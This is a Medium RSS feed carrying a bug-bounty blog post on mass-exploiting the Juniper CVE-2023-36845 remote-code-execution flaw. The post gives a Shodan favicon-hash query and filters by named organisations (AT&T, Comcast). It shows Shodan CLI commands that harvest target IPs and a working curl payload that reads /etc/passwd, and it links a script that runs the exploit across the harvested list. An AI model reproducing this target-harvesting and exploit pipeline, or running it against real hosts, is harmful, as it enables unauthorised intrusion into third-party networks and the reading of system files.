<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Asbawy on Medium]]></title>
        <description><![CDATA[Stories by Asbawy on Medium]]></description>
        <link>https://medium.com/@asbawy?source=rss-98ee1f0c69ca------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7swgCSNztJGJwiiseBw2hQ.png</url>
            <title>Stories by Asbawy on Medium</title>
            <link>https://medium.com/@asbawy?source=rss-98ee1f0c69ca------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 14:16:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@asbawy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Automation Hacks: Unearthing a Critical RCE the Easy Way]]></title>
            <link>https://asbawy.medium.com/automation-hacks-unearthing-a-critical-rce-the-easy-way-ad64f01a06a3?source=rss-98ee1f0c69ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad64f01a06a3</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[automation-testing]]></category>
            <dc:creator><![CDATA[Asbawy]]></dc:creator>
            <pubDate>Mon, 29 Jan 2024 19:41:31 GMT</pubDate>
            <atom:updated>2024-01-29T19:41:31.753Z</atom:updated>
            <content:encoded><![CDATA[<p>Good Evening Hunters, Today, I will show you how I can easily report many critical bugs on Hackerone, Bugcrowd, and external programs. My journey began with read of a critical vulnerability in Juniper Networks systems, marked by <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-36845">CVE-2023–36845</a>, along with several other CVEs. Here’s a breakdown of the process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOnYuz8-N76BlBDc63BCJw.png" /></figure><p>In this article, you’ll learn practical strategies for identifying and exploiting zero-day vulnerabilities as well as harnessing automation to streamline your bug-hunting process.</p><h3>Zero-Day Bug Hunting</h3><p>How to Search for Zero-Day Bugs?<br>The first step is understanding how to exploit the bug. Familiarize yourself with the CVE and gather more information about the vulnerability. And for this adventure, I brought along my buddy, <strong>Shodan.</strong></p><p>In my case i can seach for Juniper cve by Juniper favicon hash so it’s easy way:</p><pre>http.favicon.hash:2141724739</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ab732fP9fd03uFI_VM7-Kg.png" /><figcaption>Search by favicon.hash</figcaption></figure><p>Now we have a large number of users affected by this bug. Downloading and manually testing all of them wouldn’t be efficient. It takes a long time to filter which ones have bug bounty programs. Instead, I use several filters to narrow down the list.</p><ul><li>I filter by <strong>country</strong> to focus on specific regions.</li><li>I use an <strong>SSL</strong> filter to check for specific domains.</li><li><strong><em>Most importantly</em></strong>, I filter by <strong>organization</strong>. This allows me to target companies like <strong>AT&amp;T, Comcast</strong>, or others with known bug bounty programs.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7T8SBs_ND2R48fA6yhuxg.png" /><figcaption>http.favicon.hash:2141724739 org:”Comcast Cable Communications LLC”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2VsBqRr1XS_wdli_jgxVQw.png" /><figcaption>http.favicon.hash:2141724739 org:”AT&amp;T Services Inc.”</figcaption></figure><p>Using Shodan CLI to download relevant data into a file</p><pre># To Download data in file: Juniper.json.gz<br>shodan download Juniper &#39;http.favicon.hash:2141724739 org:&quot;AT&amp;T Services Inc.&quot;&#39;<br><br># Extract file and output only ip with port<br>shodan parse Juniper.json.gz --fields ip_str,port --separator &quot; &quot; | awk &#39;{print $1&quot;:&quot;$2}&#39; | anew Juniper_ips</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*iHSSIx-pQgWfB9Xo4uK3_Q.png" /><figcaption>ip:port</figcaption></figure><p>Now what? ohh EXPLOIT!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*GDbLJRnD8sgtGG2eE6lQxA.gif" /></figure><p>Exploiting the Remote Code Execution (RCE) vulnerability. <em>In this case</em>, the CURL command</p><pre>curl -kv &quot;https://&lt;target&gt;/about.php?PHPRC=/dev/fd/0&quot; --data-binary &#39;auto_prepend_file=&quot;/etc/passwd&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VPd22awH8zbtQ_S3Aoe7Q.png" /><figcaption>/etc/passwd file</figcaption></figure><p>Now every thing is okay, but i need more fun!</p><h3>Automation</h3><p>Now that we have a file containing numerous IPs that may or may not be vulnerable, manual testing for over 50 IPs is impractical. Automation is the key to success in handling multiple targets efficiently.</p><p>For automation purposes, I’ve created a script that tests the CURL command on a list of IPs, generates an output file indicating vulnerability status, and saves the results in a text file. The script can be found on GitHub: <a href="https://github.com/Asbawy/Automation-for-Juniper-cve-2023-36845">https://github.com/Asbawy/Automation-for-Juniper-cve-2023-36845</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMf7n6UMJxrkC-L7D25sBg.png" /></figure><p>Then save output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*gOiL5W3dbHUS9zP6j02aHg.png" /></figure><blockquote>This script is essential for managing a large number of targets systematically and ensuring a more effective and timely response to potential vulnerabilities. Remember, in the world of cybersecurity, automation is often the key to success. <strong>Happy hunting!</strong></blockquote><h3>Refrences</h3><p><a href="https://vulncheck.com/blog/juniper-cve-2023-36845/">https://vulncheck.com/blog/juniper-cve-2023-36845</a><br><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-36845">https://nvd.nist.gov/vuln/detail/CVE-2023-36845</a></p><p><a href="https://twitter.com/0d_Asbawy">X</a><br><a href="https://www.linkedin.com/in/mhmmdashraf/">Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad64f01a06a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>